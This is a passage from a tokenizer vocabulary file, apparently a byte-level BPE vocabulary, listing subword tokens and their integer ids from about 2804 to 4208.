2804, "\u0120March": 2805, "\u0120Bro": 2806, "\u0120China": 2807, "\u012029": 2808, "\u0120squ": 2809, "\u0120provided": 2810, "\u0120average": 2811, "asons": 2812, "\u01202011": 2813, "\u0120exam": 2814, "lin": 2815, "55": 2816, "ned": 2817, "\u0120perfect": 2818, "\u0120tou": 2819, "alse": 2820, "ux": 2821, "\u0120buy": 2822, "\u0120shot": 2823, "\u0120collect": 2824, "\u0120phot": 2825, "\u0120played": 2826, "\u0120surpr": 2827, "\u0120officials": 2828, "\u0120simple": 2829, "avy": 2830, "\u0120industry": 2831, "\u0120hands": 2832, "ground": 2833, "\u0120pull": 2834, "\u0120round": 2835, "\u0120user": 2836, "\u0120range": 2837, "uary": 2838, "\u0120private": 2839, "ops": 2840, "ees": 2841, "\u0120ways": 2842, "\u0120Mich": 2843, "\u0120veh": 2844, "\u0120except": 2845, "\u0120terms": 2846, "imum": 2847, "pper": 2848, "ION": 2849, "ores": 2850, "\u0120Dragon": 2851, "oul": 2852, "\u0120den": 2853, "\u0120performance": 2854, "\u0120bill": 2855, "cil": 2856, "47": 2857, "\u0120environment": 2858, "\u0120exc": 2859, "add": 2860, "\u0120worth": 2861, "\u0120pict": 2862, "\u0120chance": 2863, "\u01202018": 2864, "bor": 2865, "\u0120speed": 2866, "iction": 2867, "\u0120alleg": 2868, "\u0120Japan": 2869, "atory": 2870, "reet": 2871, "\u0120match": 2872, "\u0120II": 2873, "\u0120stru": 2874, "order": 2875, "\u0120ste": 2876, "\u0120living": 2877, "\u0120struct": 2878, "ino": 2879, "\u0120separ": 2880, "hern": 2881, "\u0120response": 2882, "\u0120enjoy": 2883, "\u0120via": 2884, "AD": 2885, "uments": 2886, "acebook": 2887, "\u0120member": 2888, "ibr": 2889, "izing": 2890, "\u0120tool": 2891, "\u0120Mon": 2892, "\u0120While": 2893, "hood": 2894, "\u0120Ang": 2895, "\u0120Def": 2896, "\u0120offer": 2897, "Tr": 2898, "aur": 2899, "\u0120turned": 2900, "\u0120July": 2901, "down": 2902, "anced": 2903, "\u0120recently": 2904, "\u0120Ear": 2905, "\u0120ce": 2906, "\u0120Star": 2907, "\u0120Cong": 2908, "rought": 2909, "\u0120blood": 2910, "\u0120hope": 2911, "\u0120comment": 2912, "aint": 2913, "\u0120arri": 2914, "iles": 2915, "\u0120particip": 2916, "ought": 2917, "ription": 2918, "08": 2919, "49": 2920, "\u0120gave": 2921, "\u0120select": 2922, "\u0120killed": 2923, "sych": 2924, "\u0120goes": 2925, "ij": 2926, "\u0120coll": 2927, "\u0120impact": 2928, "atives": 2929, "\u0120Ser": 2930, "09": 2931, "\u0120August": 2932, "\u0120boy": 2933, "de": 2934, "\u0120Des": 2935, "\u0120felt": 2936, "US": 2937, "\u0120expected": 2938, "\u0120image": 2939, "\u0120Mark": 2940, "ccording": 2941, "oice": 2942, "EC": 2943, "\u0120Mag": 2944, "ened": 2945, "hold": 2946, "\u0120Post": 2947, "\u0120prevent": 2948, "No": 2949, "\u0120involved": 2950, "\u0120eyes": 2951, "\u0120quickly": 2952, "At": 2953, "unk": 2954, "\u0120behav": 2955, "\u0120ur": 2956, "\u0120led": 2957, "come": 2958, "ey": 2959, "\u0120candid": 2960, "\u0120earlier": 2961, "\u0120focus": 2962, "ety": 2963, "Pro": 2964, "ledge": 2965, "ixed": 2966, "illed": 2967, "\u0120popular": 2968, "AP": 2969, "\u0120sett": 2970, "light": 2971, "\u0120various": 2972, "inks": 2973, "\u0120levels": 2974, "\u0120road": 2975, "ellig": 2976, "ables": 2977, "hel": 2978, "ittee": 2979, "\u0120Gener": 2980, "ype": 2981, "\u0120heard": 2982, "icles": 2983, "\u0120mis": 2984, "\u0120users": 2985, "\u0120San": 2986, "\u0120improve": 2987, "\u0120father": 2988, "\u0120search": 2989, "They": 2990, "vil": 2991, "\u0120profess": 2992, "\u0120knew": 2993, "\u0120loss": 2994, "\u0120events": 2995, "65": 2996, "\u0120billion": 2997, "07": 2998, "02": 2999, "\u0120News": 3000, "\u0120AM": 3001, "\u0120cover": 3002, "where": 3003, "ension": 3004, "\u0120bott": 3005, "\u0120areas": 3006, "ences": 3007, "ope": 3008, "\u0120Twitter": 3009, "ael": 3010, "\u0120gets": 3011, "\u0120Google": 3012, "\u0120sn": 3013, "iant": 3014, "\u0120vote": 3015, "\u0120nearly": 3016, "\u0120included": 3017, "\u0120recogn": 3018, "zz": 3019, "mm": 3020, "aled": 3021, "\u0120happened": 3022, "04": 3023, "\u0120hot": 3024, "\u0120whose": 3025, "\u0120civil": 3026, "\u0120suff": 3027, "oes": 3028, "itiz": 3029, "\u0120Syri": 3030, "\u0120respond": 3031, "\u0120hon": 3032, "\u0120features": 3033, "\u0120economic": 3034, "\u0120April": 3035, "rim": 3036, "\u0120technology": 3037, "\u0120option": 3038, "aging": 3039, "\u0120purch": 3040, "Re": 3041, "\u0120lat": 3042, "chie": 3043, "isl": 3044, "\u0120recomm": 3045, "uf": 3046, "\u0120training": 3047, "\u0120effects": 3048, "\u0120fast": 3049, "\u01202010": 3050, "\u0120occur": 3051, "\u0120website": 3052, "\u0120email": 3053, "\u0120sens": 3054, "ech": 3055, "\u0120oil": 3056, "\u0120influ": 3057, "\u0120currently": 3058, "\u0120Sch": 3059, "\u0120Add": 3060, "\u0120goal": 3061, "\u0120scient": 3062, "\u0120conv": 3063, "100": 3064, "emy": 3065, "\u0120decided": 3066, "\u0120travel": 3067, "\u0120mention": 3068, "LL": 3069, "03": 3070, "\u0120election": 3071, "\u0120phone": 3072, "\u0120looks": 3073, "\u0120situation": 3074, "\u0120cy": 3075, "\u0120hor": 3076, "bed": 3077, "\u0120Court": 3078, "aily": 3079, "aves": 3080, "\u0120quality": 3081, "\u0120Comp": 3082, "wise": 3083, "\u0120table": 3084, "\u0120staff": 3085, "\u0120Wind": 3086, "ett": 3087, "\u0120tried": 3088, "idered": 3089, "\u0120addition": 3090, "\u0120box": 3091, "\u0120lack": 3092, "arily": 3093, "\u0120wide": 3094, "\u0120mid": 3095, "\u0120board": 3096, "ysis": 3097, "\u0120anti": 3098, "ha": 3099, "\u0120dig": 3100, "ening": 3101, "\u0120dro": 3102, "Con": 3103, "68": 3104, "\u0120slow": 3105, "based": 3106, "sequ": 3107, "\u0120path": 3108, "Ex": 3109, "aker": 3110, "\u0120worked": 3111, "\u0120pen": 3112, "\u0120engine": 3113, "\u0120looked": 3114, "\u0120Super": 3115, "\u0120Serv": 3116, "\u0120victim": 3117, "Un": 3118, "\u0120property": 3119, "\u0120introdu": 3120, "\u0120execut": 3121, "\u0120PM": 3122, "Le": 3123, "\u0120color": 3124, "\u0120More": 3125, "\u012060": 3126, "\u0120network": 3127, "\u0120date": 3128, "cul": 3129, "idge": 3130, "\u0120extra": 3131, "31": 3132, "\u0120sle": 3133, "67": 3134, "\u0120wond": 3135, "\u0120reports": 3136, "just": 3137, "\u0120Austral": 3138, "\u0120capital": 3139, "\u0120ens": 3140, "\u0120command": 3141, "\u0120allowed": 3142, "\u0120prep": 3143, "\u0120capt": 3144, "hib": 3145, "\u0120numbers": 3146, "chan": 3147, "\u0120fair": 3148, "mp": 3149, "oms": 3150, "\u0120reach": 3151, "With": 3152, "tain": 3153, "\u0120broad": 3154, "\u0120couple": 3155, "ecause": 3156, "lying": 3157, "\u0120Feb": 3158, "\u0120screen": 3159, "\u0120lives": 3160, "\u0120prior": 3161, "\u0120Congress": 3162, "Ar": 3163, "\u0120approach": 3164, "\u0120emer": 3165, "aries": 3166, "\u0120Dis": 3167, "serv": 3168, "\u0120Ne": 3169, "\u0120built": 3170, "cies": 3171, "\u0120repe": 3172, "\u0120rules": 3173, "force": 3174, "\u0120Pal": 3175, "\u0120financial": 3176, "\u0120considered": 3177, "\u0120Char": 3178, "nces": 3179, "\u0120IS": 3180, "\u0120brought": 3181, "\u0120bi": 3182, "iers": 3183, "\u0120Sim": 3184, "OP": 3185, "\u0120products": 3186, "\u0120visit": 3187, "\u0120document": 3188, "\u0120conduct": 3189, "\u0120completely": 3190, "ining": 3191, "\u0120Calif": 3192, "ibly": 3193, "\u0120written": 3194, "\u0120TV": 3195, "ements": 3196, "\u0120draw": 3197, "One": 3198, "\u0120published": 3199, "\u0120secret": 3200, "rain": 3201, "het": 3202, "\u0120Facebook": 3203, "onday": 3204, "\u0120Up": 3205, "\u0120sexual": 3206, "\u0120thous": 3207, "\u0120Pat": 3208, "\u0120ess": 3209, "\u0120standard": 3210, "\u0120arm": 3211, "ges": 3212, "ection": 3213, "\u0120fell": 3214, "\u0120foreign": 3215, "ani": 3216, "\u0120Friday": 3217, "\u0120regular": 3218, "inary": 3219, "\u0120increased": 3220, "\u0120usually": 3221, "\u0120demon": 3222, "\u0120dark": 3223, "\u0120additional": 3224, "rol": 3225, "\u0120Of": 3226, "\u0120production": 3227, "!!": 3228, "undred": 3229, "\u0120international": 3230, "idents": 3231, "\u0120Free": 3232, "roup": 3233, "\u0120race": 3234, "\u0120mach": 3235, "\u0120huge": 3236, "All": 3237, "lear": 3238, "ovember": 3239, "\u0120town": 3240, "\u0120attention": 3241, "\u0120Off": 3242, "yond": 3243, "\u0120Then": 3244, "field": 3245, "\u0120terror": 3246, "raz": 3247, "\u0120Bo": 3248, "\u0120meeting": 3249, "\u0120Park": 3250, "\u0120arrest": 3251, "\u0120fear": 3252, "\u0120aw": 3253, "\u0120Val": 3254, "oring": 3255, "',": 3256, "\u0120extreme": 3257, "arr": 3258, "\u0120workers": 3259, "After": 3260, "\u012031": 3261, "net": 3262, "ament": 3263, "\u0120directly": 3264, "\u0120population": 3265, "ube": 3266, "\u0120October": 3267, "\u0120IN": 3268, "\u0120January": 3269, "59": 3270, "\u0120David": 3271, "\u0120cross": 3272, "cember": 3273, "\u0120First": 3274, "\u0120message": 3275, "irit": 3276, "\u0120nation": 3277, "\u0120poll": 3278, "isions": 3279, "\u0120answer": 3280, "ny": 3281, "isode": 3282, "\u0120carry": 3283, "\u0120Russia": 3284, "\u0120hear": 3285, "ength": 3286, "roy": 3287, "\u0120natural": 3288, "inally": 3289, "\u0120dog": 3290, "mitted": 3291, "\u0120trade": 3292, "\u0120subst": 3293, "\u0120multiple": 3294, "\u0120Afric": 3295, "\u0120fans": 3296, "\u0120sort": 3297, "\u0120global": 3298, "ication": 3299, "\u0120Wed": 3300, "ara": 3301, "\u0120achie": 3302, "\u0120language": 3303, "vey": 3304, "\u0120tal": 3305, "\u0120necessary": 3306, "\u0120details": 3307, "\u0120sen": 3308, "\u0120Sund": 3309, "\u0120Reg": 3310, "\u0120Rec": 3311, "06": 3312, "\u0120sil": 3313, "ressive": 3314, "\u0120medical": 3315, "unch": 3316, "ornia": 3317, "\u0120und": 3318, "fort": 3319, "ocks": 3320, "\u0120Monday": 3321, "uesday": 3322, "craft": 3323, "77": 3324, "urt": 3325, "\u0120ver": 3326, "\u0120Hill": 3327, "\u0120receive": 3328, "\u0120morning": 3329, "estern": 3330, "\u0120bank": 3331, "\u0120sat": 3332, "irth": 3333, "\u0120High": 3334, "\u0120device": 3335, "\u0120THE": 3336, "\u0120Center": 3337, "\u0120safe": 3338, "\u0120ple": 3339, "\u0120Canada": 3340, "\u0120systems": 3341, "\u0120assist": 3342, "\u0120surv": 3343, "\u0120battle": 3344, "\u0120Soc": 3345, "vertis": 3346, "She": 3347, "\u0120paper": 3348, "\u0120growth": 3349, "\u0120cast": 3350, "Sc": 3351, "\u0120plans": 3352, "lled": 3353, "\u0120parts": 3354, "\u0120wall": 3355, "\u0120movement": 3356, "\u0120practice": 3357, "imately": 3358, "\u0120display": 3359, "\u0120sometimes": 3360, "omp": 3361, "\u0120Paul": 3362, "\u0120Yes": 3363, "king": 3364, "58": 3365, "oly": 3366, "\u0120son": 3367, "\u0120avoid": 3368, "okes": 3369, "\u0120Jew": 3370, "\u0120towards": 3371, "asc": 3372, "\u0120//": 3373, "\u0120Kore": 3374, "\u0120talking": 3375, "\u0120correct": 3376, "\u0120spent": 3377, "icks": 3378, "iable": 3379, "eared": 3380, "\u0120term": 3381, "\u0120wants": 3382, "oming": 3383, "\u0120ut": 3384, "\u0120doub": 3385, "\u0120forces": 3386, "\u0120please": 3387, "69": 3388, "\u0120November": 3389, "atform": 3390, "ondon": 3391, "\u0120ones": 3392, "\u0120immediately": 3393, "\u0120Russian": 3394, "\u0120Met": 3395, "\u0120deg": 3396, "\u0120parents": 3397, "CH": 3398, "\u0120Americans": 3399, "aly": 3400, "\u0120Mod": 3401, "\u0120shown": 3402, "\u0120conditions": 3403, "\u0120stuff": 3404, "\u0120reb": 3405, "\u0120Your": 3406, "\u0120includes": 3407, "nown": 3408, "\u0120Sam": 3409, "\u0120experien": 3410, "mission": 3411, "\u0120Even": 3412, "aught": 3413, "\u0120announced": 3414, "\u0120Republican": 3415, "\u0120determin": 3416, "\u0120described": 3417, "\u0120County": 3418, "()": 3419, "\u0120door": 3420, "\u0120changed": 3421, "\u0120neigh": 3422, "\u0120Here": 3423, "\u0120clean": 3424, "\u0120pan": 3425, "\u0120December": 3426, "\u0120European": 3427, "iring": 3428, "apter": 3429, "\u0120club": 3430, "\u0120Tuesday": 3431, "\u0120paid": 3432, "\u0120Net": 3433, "\u0120attacks": 3434, "\u0120characters": 3435, "\u0120alone": 3436, "\u0120director": 3437, "dom": 3438, "\u012035": 3439, "\u0120load": 3440, "\u0120rout": 3441, "\u0120California": 3442, "\u0120finally": 3443, "\u0120rac": 3444, "\u0120contr": 3445, "\u0120exactly": 3446, "resh": 3447, "pri": 3448, "\u0120Islam": 3449, "\u0120nature": 3450, "\u0120career": 3451, "\u0120latest": 3452, "\u0120convers": 3453, "\u0120Sl": 3454, "pose": 3455, "cient": 3456, "\u0120Inc": 3457, "ivity": 3458, "88": 3459, "\u0120Att": 3460, "\u0120Mor": 3461, "nesday": 3462, "\u0120weight": 3463, "ken": 3464, "\u0120note": 3465, "\u0120teams": 3466, "\u0120\\": 3467, "airs": 3468, "\u0120Green": 3469, "\u0120hundred": 3470, "onent": 3471, "\u0120streng": 3472, "\u0120consist": 3473, "icated": 3474, "\u0120regul": 3475, "\u0120lic": 3476, "astic": 3477, "\u0120ten": 3478, "ursday": 3479, "elligence": 3480, "ously": 3481, "\u0120UK": 3482, "BI": 3483, "\u0120costs": 3484, "\u0120independ": 3485, "\u0120AP": 3486, "\u0120normal": 3487, "\u0120hom": 3488, "\u0120obvious": 3489, "\u0120swe": 3490, "\u0120star": 3491, "\u0120ready": 3492, "acher": 3493, "\u0120implement": 3494, "gest": 3495, "\u0120song": 3496, "\u0120Get": 3497, "\u0120Lab": 3498, "\u0120interesting": 3499, "using": 3500, "\u0120giving": 3501, "\u0120Sunday": 3502, "\u0120etc": 3503, "\u0120middle": 3504, "\u0120remember": 3505, "right": 3506, "osition": 3507, "utions": 3508, "\u0120max": 3509, "46": 3510, "\u0120yourself": 3511, "\u0120demand": 3512, "\u0120treatment": 3513, "\u0120danger": 3514, "\u0120Cons": 3515, "\u0120guy": 3516, "\u0120British": 3517, "\u0120physical": 3518, "\u0120related": 3519, "\u0120remain": 3520, "\u0120couldn": 3521, "\u0120refer": 3522, "\u0120citiz": 3523, "box": 3524, "ENT": 3525, "board": 3526, "\u0120inn": 3527, "IG": 3528, "ero": 3529, "\u0120Street": 3530, "ospital": 3531, "rench": 3532, "chers": 3533, "\u0120stra": 3534, "OL": 3535, "ager": 3536, "\u0120AN": 3537, "\u0120easily": 3538, "IA": 3539, "enge": 3540, "iny": 3541, "\u0120clos": 3542, "ocked": 3543, "\u0120uses": 3544, "\u0120Coun": 3545, "Im": 3546, "uild": 3547, "??": 3548, "more": 3549, "\u0120ang": 3550, "\u0120write": 3551, "olute": 3552, "57": 3553, "\u0120leader": 3554, "\u0120reading": 3555, "</": 3556, "\u0120autom": 3557, "ests": 3558, "43": 3559, "\u0120legisl": 3560, "\u0120Gold": 3561, "\u0120designed": 3562, "\u0120ST": 3563, "\u0120Leg": 3564, "ares": 3565, "\u0120beaut": 3566, "\u0120Tex": 3567, "\u0120appears": 3568, "\u0120strugg": 3569, "\u0120Rom": 3570, "\u012000": 3571, "\u0120choice": 3572, "\u0120particularly": 3573, "\u0120From": 3574, "oper": 3575, "\u0120London": 3576, "anned": 3577, "\u0120allows": 3578, "obile": 3579, "\u0120difference": 3580, "\u00e2\u0122\u00a2": 3581, "\u0120View": 3582, "\u0120Wednesday": 3583, "\u0120although": 3584, "\u0120relative": 3585, "\u0120application": 3586, "atever": 3587, "\u0120aren": 3588, "\u0120myself": 3589, "\u0120imag": 3590, "\u0120dise": 3591, "\u0120society": 3592, "\u0120frequ": 3593, "\u0120English": 3594, "\u0120poor": 3595, "\u0120Day": 3596, "\u0120writing": 3597, "\u0120seven": 3598, "\u0120starting": 3599, "\u0120bud": 3600, "\u0120print": 3601, "\u0120Trans": 3602, "ufact": 3603, "\u0120Stud": 3604, "new": 3605, "\u0120crim": 3606, "\u0120gives": 3607, "\u0120cool": 3608, "ae": 3609, "iance": 3610, "\u0120General": 3611, "\u0120thinking": 3612, "\u0120save": 3613, "\u0120limited": 3614, "\u0120Party": 3615, "\u0120meaning": 3616, "pen": 3617, "owers": 3618, "\u0120Jack": 3619, "EM": 3620, "\u0120nice": 3621, "rupt": 3622, "\u0120gas": 3623, "\u0120eight": 3624, "\u0120feet": 3625, "\u0120effort": 3626, "\u0120ign": 3627, "icit": 3628, "Bl": 3629, "coin": 3630, "\u0120opin": 3631, "\u0120brain": 3632, "While": 3633, "hest": 3634, "\u0120Thursday": 3635, "\u0120wouldn": 3636, "aughter": 3637, "\u0120touch": 3638, "lements": 3639, "\u0120studies": 3640, "\u0120center": 3641, "cont": 3642, "orge": 3643, "\u0120computer": 3644, "\u0120investigation": 3645, "Pl": 3646, "orks": 3647, "\u01202008": 3648, "\u0120increasing": 3649, "\u0120store": 3650, "\u0120comments": 3651, "\u0120bal": 3652, "men": 3653, "\u0120doll": 3654, "\u0120liber": 3655, "\u0120wife": 3656, "\u0120laws": 3657, "aturday": 3658, "itness": 3659, "\u0120modern": 3660, "\u0120Sk": 3661, "\u0120administration": 3662, "\u0120opportunity": 3663, "\u0120sal": 3664, "\u0120powerful": 3665, "My": 3666, "\u0120claims": 3667, "\u0120Earth": 3668, "ords": 3669, "\u0120title": 3670, "\u0120esc": 3671, "name": 3672, "Not": 3673, "omen": 3674, "\u0120beyond": 3675, "\u0120camer": 3676, "\u0120sell": 3677, "itute": 3678, "earch": 3679, "\u0120appl": 3680, "iment": 3681, "42": 3682, "\u0120Art": 3683, "\u0120unf": 3684, "\u0120violence": 3685, "urg": 3686, "\u0120East": 3687, "\u0120compared": 3688, "\u0120options": 3689, "\u0120throughout": 3690, "\u0120vs": 3691, "igr": 3692, ".[": 3693, "aches": 3694, "78": 3695, "\u0120files": 3696, "FL": 3697, "EL": 3698, "arian": 3699, "\u0120James": 3700, "\u0120Air": 3701, "anch": 3702, "\u0120detail": 3703, "\u0120piece": 3704, "PS": 3705, "\u0120named": 3706, "\u0120education": 3707, "\u0120drive": 3708, "\u0120items": 3709, "\u0120student": 3710, "iced": 3711, "::": 3712, "ico": 3713, "\u0120throw": 3714, "\u0120scene": 3715, "\u0120complex": 3716, "\u01202009": 3717, "\u0120prec": 3718, "\u0120Bre": 3719, "79": 3720, "\u0120concept": 3721, "\u0120status": 3722, "aming": 3723, "\u0120died": 3724, "\u0120knowledge": 3725, "\u0120beginning": 3726, "OD": 3727, "ruary": 3728, "\u0120certainly": 3729, "\u0120guys": 3730, "\u0120slight": 3731, "inn": 3732, "ounds": 3733, "\u0120fine": 3734, "\u0120fat": 3735, "ications": 3736, "\u0120perhaps": 3737, "\u0120Ant": 3738, "\u0120income": 3739, "\u0120https": 3740, "\u0120majority": 3741, "ports": 3742, "ston": 3743, "\u0120greater": 3744, "\u0120feed": 3745, "entially": 3746, "\u0120safety": 3747, "\u0120unique": 3748, "andom": 3749, "\u0120gone": 3750, "\u0120showed": 3751, "\u0120histor": 3752, "\u0120counter": 3753, "ius": 3754, "ida": 3755, "\u0120leading": 3756, "ipe": 3757, "\u0120send": 3758, "\u0120Donald": 3759, "erve": 3760, "\u0120defense": 3761, "inese": 3762, "\u0120yes": 3763, "\u0120Fire": 3764, "\u0120Muslim": 3765, "raq": 3766, "\u0120continued": 3767, "osh": 3768, "\u0120provides": 3769, "\u0120prison": 3770, "\u0120Pre": 3771, "\u0120happy": 3772, "\u0120economy": 3773, "\u0120trust": 3774, "ags": 3775, "\u0120Game": 3776, "\u0120weapons": 3777, "uman": 3778, "\u0120Cle": 3779, "itation": 3780, "\u0120analysis": 3781, "\u0120Times": 3782, "\u0120science": 3783, "->": 3784, "\u0120figure": 3785, "\u0120disapp": 3786, "enty": 3787, "\u0120software": 3788, "\u0120ult": 3789, "\u0120officers": 3790, "New": 3791, "Is": 3792, "\u0120remains": 3793, "\u0120India": 3794, "\u0120psych": 3795, "rief": 3796, "\u0120cat": 3797, "esc": 3798, "\u0120observ": 3799, "\u0120stage": 3800, "\u0120Dark": 3801, "\u0120enter": 3802, "change": 3803, "\u0120passed": 3804, "\u0120despite": 3805, "\u0120Out": 3806, "\u0120movie": 3807, "rs": 3808, "\u0120voice": 3809, "mine": 3810, "\u0120Play": 3811, "\u0120toward": 3812, "\u0120Ter": 3813, "\u0120region": 3814, "\u0120values": 3815, "orters": 3816, "\u0120mount": 3817, "\u0120officer": 3818, "\u0120Other": 3819, "ban": 3820, "\u0120hous": 3821, "wood": 3822, "room": 3823, "IV": 3824, "\u0120Sun": 3825, "see": 3826, "\u0120Over": 3827, "rog": 3828, "90": 3829, "\u0120lay": 3830, "\u0120Tur": 3831, "awn": 3832, "\u0120pressure": 3833, "\u0120Sub": 3834, "\u0120books": 3835, "edom": 3836, "\u0120Sand": 3837, "AA": 3838, "ago": 3839, "\u0120reasons": 3840, "ford": 3841, "\u0120activity": 3842, "UT": 3843, "Now": 3844, "\u0120Senate": 3845, "cell": 3846, "night": 3847, "\u0120calls": 3848, "inter": 3849, "\u0120letter": 3850, "\u0120Rob": 3851, "\u0120Je": 3852, "\u0120choose": 3853, "\u0120Law": 3854, "Get": 3855, "Be": 3856, "\u0120rob": 3857, "\u0120types": 3858, "\u0120platform": 3859, "\u0120quarter": 3860, "RA": 3861, "\u0120Time": 3862, "\u0120maybe": 3863, "\u0120Cr": 3864, "95": 3865, "pre": 3866, "\u0120moving": 3867, "\u0120lif": 3868, "\u0120gold": 3869, "\u0120som": 3870, "\u0120patients": 3871, "\u0120truth": 3872, "\u0120Ke": 3873, "urance": 3874, "antly": 3875, "mar": 3876, "\u0120charge": 3877, "\u0120Great": 3878, "\u0120cele": 3879, "--------------------------------": 3880, "\u0120rock": 3881, "roid": 3882, "ancy": 3883, "\u0120credit": 3884, "aud": 3885, "By": 3886, "\u0120Every": 3887, "\u0120moved": 3888, "inger": 3889, "ribution": 3890, "\u0120names": 3891, "\u0120straight": 3892, "\u0120Health": 3893, "\u0120Well": 3894, "\u0120feature": 3895, "\u0120rule": 3896, "\u0120sche": 3897, "inated": 3898, "\u0120Michael": 3899, "berg": 3900, "41": 3901, "iled": 3902, "band": 3903, "\u0120click": 3904, "\u0120Angel": 3905, "onents": 3906, "\u00c2\u0143": 3907, "\u0120Iraq": 3908, "\u0120Saturday": 3909, "\u0120aware": 3910, "part": 3911, "\u0120pattern": 3912, "OW": 3913, "\u0120Let": 3914, "\u0120grad": 3915, "igned": 3916, "\u0120associated": 3917, "\u0120style": 3918, "no": 3919, "iation": 3920, "aith": 3921, "ilies": 3922, "\u0120stories": 3923, "uration": 3924, "\u0120individuals": 3925, "\u0120\u00e2\u0122\u00a6": 3926, "miss": 3927, "\u0120Associ": 3928, "ishing": 3929, "aby": 3930, "\u0120summer": 3931, "\u0120Ben": 3932, "\u012032": 3933, "\u0120arch": 3934, "uty": 3935, "\u0120Texas": 3936, "hol": 3937, "\u0120fully": 3938, "\u0120mill": 3939, "\u0120followed": 3940, "\u0120Bill": 3941, "\u0120Indian": 3942, "\u0120Secret": 3943, "\u0120Bel": 3944, "\u0120February": 3945, "\u0120jobs": 3946, "\u0120seemed": 3947, "\u0120Govern": 3948, "ipped": 3949, "\u0120reality": 3950, "\u0120lines": 3951, "\u0120park": 3952, "\u0120measure": 3953, "\u0120Our": 3954, "IM": 3955, "\u0120brother": 3956, "\u0120growing": 3957, "\u0120ban": 3958, "\u0120estim": 3959, "\u0120cry": 3960, "\u0120School": 3961, "\u0120mechan": 3962, "\u0120OF": 3963, "\u0120Windows": 3964, "\u0120rates": 3965, "\u0120Oh": 3966, "\u0120positive": 3967, "\u0120culture": 3968, "istics": 3969, "ica": 3970, "\u0120har": 3971, "ya": 3972, "itely": 3973, "ipp": 3974, "\u0120map": 3975, "encies": 3976, "\u0120William": 3977, "II": 3978, "akers": 3979, "56": 3980, "\u0120Mart": 3981, "\u0120Rem": 3982, "\u0120altern": 3983, "itude": 3984, "\u0120coach": 3985, "rowd": 3986, "Don": 3987, "\u0120kids": 3988, "\u0120journal": 3989, "\u0120corpor": 3990, "\u0120false": 3991, "\u0120web": 3992, "\u0120sleep": 3993, "\u0120contain": 3994, "\u0120sto": 3995, "\u0120bed": 3996, "iverse": 3997, "\u0120Rich": 3998, "\u0120Chinese": 3999, "\u0120pun": 4000, "\u0120meant": 4001, "known": 4002, "\u0120notice": 4003, "\u0120favorite": 4004, "aven": 4005, "\u0120condition": 4006, "\u0120purpose": 4007, "))": 4008, "\u0120organization": 4009, "\u0120challeng": 4010, "\u0120manufact": 4011, "\u0120susp": 4012, "\u0120Ac": 4013, "\u0120critic": 4014, "unes": 4015, "uclear": 4016, "\u0120mer": 4017, "vention": 4018, "\u012080": 4019, "\u0120mist": 4020, "\u0120Us": 4021, "\u0120Tor": 4022, "http": 4023, "olf": 4024, "\u0120larger": 4025, "\u0120advant": 4026, "\u0120resear": 4027, "\u0120actions": 4028, "ml": 4029, "\u0120kept": 4030, "\u0120aim": 4031, ",'": 4032, "col": 4033, "\u0120benefits": 4034, "ifying": 4035, "\u0120actual": 4036, "\u0120International": 4037, "\u0120vehicle": 4038, "\u0120chief": 4039, "\u0120efforts": 4040, "\u0120League": 4041, "\u0120Most": 4042, "\u0120wait": 4043, "\u0120adult": 4044, "\u0120overall": 4045, "\u0120speech": 4046, "\u0120highly": 4047, "\u0120female": 4048, "\u0120error": 4049, "\u0120effective": 4050, "54": 4051, "\u0120encour": 4052, "well": 4053, "\u0120failed": 4054, "\u0120conserv": 4055, "\u0120programs": 4056, "\u0120trou": 4057, "\u0120ahead": 4058, "500": 4059, "vertisement": 4060, "IP": 4061, "\u0120Found": 4062, "pir": 4063, "\u0120%": 4064, "\u0120crime": 4065, "ander": 4066, "\u0120location": 4067, "\u0120Iran": 4068, "\u0120behavior": 4069, "azing": 4070, "\u0120rare": 4071, "\u0120emb": 4072, "\u0120caused": 4073, "\u0120ship": 4074, "\u0120active": 4075, "\u0120contribut": 4076, "\u0120green": 4077, "\u0120acqu": 4078, "\u0120reflect": 4079, "venue": 4080, "\u0120firm": 4081, "\u0120birth": 4082, "].": 4083, "\u0120clearly": 4084, "\u0120emot": 4085, "\u0120agency": 4086, "riage": 4087, "\u0120memory": 4088, "98": 4089, "SA": 4090, "\u0120See": 4091, "acing": 4092, "CC": 4093, "\u0120biggest": 4094, "\u0120rap": 4095, "\u0120basic": 4096, "\u0120band": 4097, "eat": 4098, "\u0120suspect": 4099, "\u0120Mac": 4100, "\u012090": 4101, "mark": 4102, "istan": 4103, "\u0120spread": 4104, "ams": 4105, "ki": 4106, "asy": 4107, "rav": 4108, "\u0120Rober": 4109, "\u0120demonstr": 4110, "rated": 4111, "\u0120absolute": 4112, "\u0120places": 4113, "\u0120impl": 4114, "ibrary": 4115, "\u0120cards": 4116, "\u0120destroy": 4117, "\u0120virt": 4118, "vere": 4119, "\u0120appeared": 4120, "yan": 4121, "point": 4122, "\u0120beg": 4123, "\u0120temper": 4124, "spe": 4125, "anted": 4126, "ears": 4127, "\u0120Direct": 4128, "\u0120length": 4129, "\u0120blog": 4130, "amb": 4131, "\u0120integ": 4132, "\u0120resources": 4133, "acc": 4134, "iful": 4135, "\u0120spot": 4136, "\u0120forced": 4137, "\u0120thousands": 4138, "\u0120Minister": 4139, "\u0120qual": 4140, "\u0120French": 4141, "atically": 4142, "\u0120generally": 4143, "\u0120drink": 4144, "\u0120thus": 4145, "IL": 4146, "odes": 4147, "\u0120appropri": 4148, "\u0120Read": 4149, "\u0120whom": 4150, "\u0120eye": 4151, "\u0120college": 4152, "\u012045": 4153, "irection": 4154, "\u0120ensure": 4155, "\u0120apparent": 4156, "iders": 4157, "\u0120religious": 4158, "\u0120minor": 4159, "olic": 4160, "\u0120tro": 4161, "\u0120Why": 4162, "ribute": 4163, "met": 4164, "\u0120primary": 4165, "\u0120developed": 4166, "\u0120peace": 4167, "\u0120skin": 4168, "ste": 4169, "ava": 4170, "\u0120blue": 4171, "\u0120families": 4172, "\u0120ir": 4173, "\u0120apply": 4174, "\u0120inform": 4175, "\u0120Smith": 4176, "CT": 4177, "ii": 4178, "\u0120limit": 4179, "\u0120resist": 4180, "................": 4181, "umn": 4182, "\u0120conflic": 4183, "\u0120twe": 4184, "udd": 4185, "\u0120Tom": 4186, "\u0120liter": 4187, "que": 4188, "bon": 4189, "\u0120hair": 4190, "\u0120eventually": 4191, "\u0120pus": 4192, "\u0120helped": 4193, "\u0120agg": 4194, "orney": 4195, "\u0120Apple": 4196, "\u0120fit": 4197, "\u0120Sur": 4198, "\u0120prem": 4199, "\u0120sales": 4200, "\u0120seconds": 4201, "\u0120strength": 4202, "\u0120feeling": 4203, "\u00bf\u00bd": 4204, "\u0120tour": 4205, "\u0120knows": 4206, "oom": 4207, "\u0120exerc": 4208, 